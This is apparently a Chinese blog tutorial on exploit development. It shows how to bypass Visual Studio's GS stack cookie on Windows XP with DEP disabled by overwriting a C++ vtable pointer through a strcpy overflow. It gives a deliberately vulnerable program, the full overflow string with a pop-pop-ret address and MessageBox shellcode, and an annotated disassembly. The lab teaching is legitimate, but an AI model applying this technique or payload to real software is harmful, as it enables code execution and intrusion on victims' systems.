淹沒虛函數(shù)地址過GS保護(關(guān)閉DEP保護)

作者:黑蛋

1.簡介

針對緩沖區(qū)溢出覆蓋函數(shù)返回地址這一特征,微軟在編譯程序時使用了一個安全編譯選項–GS, Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默認啟用了這個編譯選項。在所有函數(shù)調(diào)用時,會向棧中壓入一個DWORD,他是data段第一個DWORD與EBP亦或之后形成的值,處于EBP+4的位置,在所有函數(shù)執(zhí)行完返回時,會有一個檢查函數(shù),檢測EBP+4的值是否和原來一樣,一樣則正常返回,反之進入異常處理流程,函數(shù)不會正常返回,這個操作叫 Security check,如果有緩沖區(qū)溢出函數(shù)返回值,勢必會淹沒Security Cookie,進入異常處理流程。如果我們在有GS保護的程序中使用棧溢出淹沒返回地址EBP+4的位置,勢必會破壞EBP-4的值,在函數(shù)返回之前經(jīng)過Security check,會直接導致我們棧溢出淹沒返回值失敗,本篇通過調(diào)用c++虛函數(shù)在GS檢查函數(shù)之前的特征,通過淹沒虛函數(shù)地址,讓虛函數(shù)地址指向我們的shellcode,達到繞過GS保護成功溢出的目的。詳細了解GS保護機制可以參考《0day安全》這本書。

2.環(huán)境配置

環(huán)境

配置

操作系統(tǒng)

XP系統(tǒng)

編譯器

vs2008

調(diào)試器

x32dbg

3.代碼

#include “stdafx.h”

#include “string.h”

class GSVirtual {

public :

void gsv(char * src)

{

char buf[200];

strcpy(buf, src);

bar();

}

virtual void bar()

{

}

};

int main()

{

GSVirtual test;

test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x90"

? "\x90\x90\x90\x90\x90\x90\x90\x00");

return 0;

}

這里我們首先給gsv函數(shù)傳入一段正常的字符串0x90,便于我們第一次分析函數(shù)棧內(nèi)情況。

4.項目配置如下(Win32,release)

第一步:打開項目屬性–>配置屬性–>C/C+±->代碼生成–>運行時庫–>多線程調(diào)試(/MTd);

第二步:打開項目屬性–>配置屬性–>C/C+±->代碼生成–>緩沖區(qū)安全檢查(GS)–>是;第三步:打開項目屬性–>配置屬性–>鏈接器–>高級–>數(shù)據(jù)執(zhí)行保護(DEP)–>否;

5.代碼介紹:

創(chuàng)建一個類對象,調(diào)用gsv函數(shù),第一次傳入199字節(jié)\x90,以\x00結(jié)尾,方便觀察棧內(nèi)情況;在gsv中有一個拷貝函數(shù),下面緊接著調(diào)用一個虛函數(shù);生成exe,拖入x32dbg,因為有符號文件,ctrl+g,輸入main,定位到主函數(shù)(OD不行),下斷點:


F9運行到斷點處:


第一個call是創(chuàng)建類對象,第二個call是gsv函數(shù),也就是我們重點觀察目標,跟進第二個call,查看堆棧,轉(zhuǎn)到EBP:


其中EBP+4是返回地址,EBP+8是我們傳入200字節(jié)字符串地址,EBP+C是虛表地址,棧中0012FE8C指向buf,即EBP-D0


我們發(fā)現(xiàn)第二個call是GS安全檢查函數(shù),而第一個call,經(jīng)過分析是調(diào)用虛函數(shù),如果我們通過淹沒虛函數(shù)地址,控制程序流程,就可以在GS檢查前達到我們的目的,繞過GS保護。


劃紅線區(qū)域就是找虛表第一個虛函數(shù)的過程,發(fā)現(xiàn)是EBP+C地址指向的地址指向的地址是call eax中eax的值(這塊需要仔細理解),所以我們需要控制EBP+C這個位置,查看堆棧情況


我們發(fā)現(xiàn)需要延長字符串32個字節(jié),才可以淹沒虛表地址,所以構(gòu)造新的字符串:

test.gsv(

“\xE0\x14\x92\x7C”//這是特意構(gòu)造的四字節(jié),稍后解釋

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”/這堆0x90是為了湊數(shù),毫無意義,對應硬編碼是nop,即滑板指令/

“\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C”

“\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53”

“\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B”

“\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95”

“\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59”

“\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A”

“\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75”

“\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03”

“\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB”

“\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50”

“\x53\xFF\x57\xFC\x53\xFF\x57\xF8“/這段是我們一個彈窗shellcode,效果是彈出一個框,如果程序彈框,證明我們棧溢出成功,并成功繞過GS保護/

”\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90“/這段同樣是湊數(shù)字節(jié),沒有意義/

”\x8C\xFE\x12\x00”/覆蓋虛表地址的四字節(jié),同樣是我們這段字符串在棧中的首地址/

);


在這里,EBP+C指向的地址已經(jīng)是我們buf的起始位置,當程序調(diào)用虛函數(shù)的時候,即call eax:


這里eax的值就是虛表地址,而我們通過淹沒這個地址,現(xiàn)在eax指向我們shellcode的第一個四字節(jié),所以這里我們shellcode第一個四字節(jié)應該是一個地址,然后程序流程會去執(zhí)行我們shellcode第一個四字節(jié)指向的地方,我們在這里構(gòu)造一個pop,pop,ret,通過倆次彈棧,讓ESP指向我們shellcode第5個字節(jié)之后,(第一次是call eax,esp會壓入返回值,第二個pop是我們shellcode的第一個四字節(jié)),之后ret會執(zhí)行到esp指向的地方,即我們的彈窗shellcode的地方,達到目的。


下面是我shellcode第一個四字節(jié)指向的地方:


6.思考

(1)我們淹沒的地址并不是虛函數(shù)地址,而是虛表地址,所以我們所淹沒的值同樣應該是一個地址,這個地址再指向一段程序;

(2)既然我們需要shellcode前四個字節(jié)指向一段程序,為什么不直接指向下面的彈窗shellcode的位置,這是因為拷貝函數(shù)判斷拷貝結(jié)束是看這個字節(jié)是否=\x00,而我們棧中的地址都是\x00開頭,這樣會導致拷貝終止,所以我們shellcode除了最后一個字節(jié)可以為\x00,其他地方均不得出現(xiàn)\x00,故而我們在程序中尋找不會出現(xiàn)\x00的地址,指向pop,pop,ret,達到控制程序流程到我們的shellcode的目的。

7.最后是我分析gsv函數(shù)的一個簡單的分析注釋:

地址

硬編碼

匯編代碼

注釋

00401000

55

push ebp

gs_virtual.cpp:7

00401001

8BEC

mov ebp,esp

00401003

81EC E4000000

sub esp,E4

00401009

A1 20304200

mov eax,dword ptr ds:[<___security_cook

00423020 DATA段第一個四字節(jié)傳到EAX

0040100E

33C5

xor eax,ebp

與EBP亦或成COOK

00401010

8945 FC

mov dword ptr ss:[ebp-4],eax

ebp-4=GS COOK

00401013

898D 2CFFFFFF

mov dword ptr ss:[ebp-D4],ecx

EBP-D4=虛函數(shù)地址

00401019

8B45 08

mov eax,dword ptr ss:[ebp+8]

EAX=字符串

0040101C

8985 28FFFFFF

mov dword ptr ss:[ebp-D8],eax

EDP-D8 = 字符串地址

00401022

8D8D 30FFFFFF

lea ecx,dword ptr ss:[ebp-D0]

返回到ntdll

00401028

898D 24FFFFFF

mov dword ptr ss:[ebp-DC],ecx

EBP-DC = 0012FE8C

0040102E

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

00401034

8995 20FFFFFF

mov dword ptr ss:[ebp-E0],edx

EBP-E0=0012FE8C

0040103A

8B85 28FFFFFF

mov eax,dword ptr ss:[ebp-D8]

00401040

8A08

mov cl,byte ptr ds:[eax]

CL=第一個字符

00401042

888D 1FFFFFFF

mov byte ptr ss:[ebp-E1],cl

EBP-E1 = CL

00401048

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

EDX = 0012FE8C

0040104E

8A85 1FFFFFFF

mov al,byte ptr ss:[ebp-E1]

00401054

8802

mov byte ptr ds:[edx],al

第一個字節(jié)復制到0012FE8C

00401056

8B8D 28FFFFFF

mov ecx,dword ptr ss:[ebp-D8]

ECX=字符串地址

0040105C

83C1 01

add ecx,1

0040105F

898D 28FFFFFF

mov dword ptr ss:[ebp-D8],ecx

EBP-D8=字符串數(shù)組+1

00401065

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

EDX = 0012FE8C

0040106B

83C2 01

add edx,1

0040106E

8995 24FFFFFF

mov dword ptr ss:[ebp-DC],edx

棧內(nèi)存放字符串地址數(shù)組+1

00401074

80BD 1FFFFFFF 00

cmp byte ptr ss:[ebp-E1],0

0040107B

75 BD

jne gs_virtual.40103A

0040107D

8B85 2CFFFFFF

mov eax,dword ptr ss:[ebp-D4]

00401083

8B10

mov edx,dword ptr ds:[eax]

00401085

8B8D 2CFFFFFF

mov ecx,dword ptr ss:[ebp-D4]

0040108B

8B02

mov eax,dword ptr ds:[edx]

0040108D

FFD0

call eax

取虛函數(shù)地址CALL

0040108F

8B4D FC

mov ecx,dword ptr ss:[ebp-4]

gs_virtual.cpp:11

00401092

33CD

xor ecx,ebp

00401094

E8 57000000

call

GS安全檢查函數(shù)

00401099

8BE5

mov esp,ebp

0040109B

5D

pop ebp

0040109C

C2 0400

ret 4

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容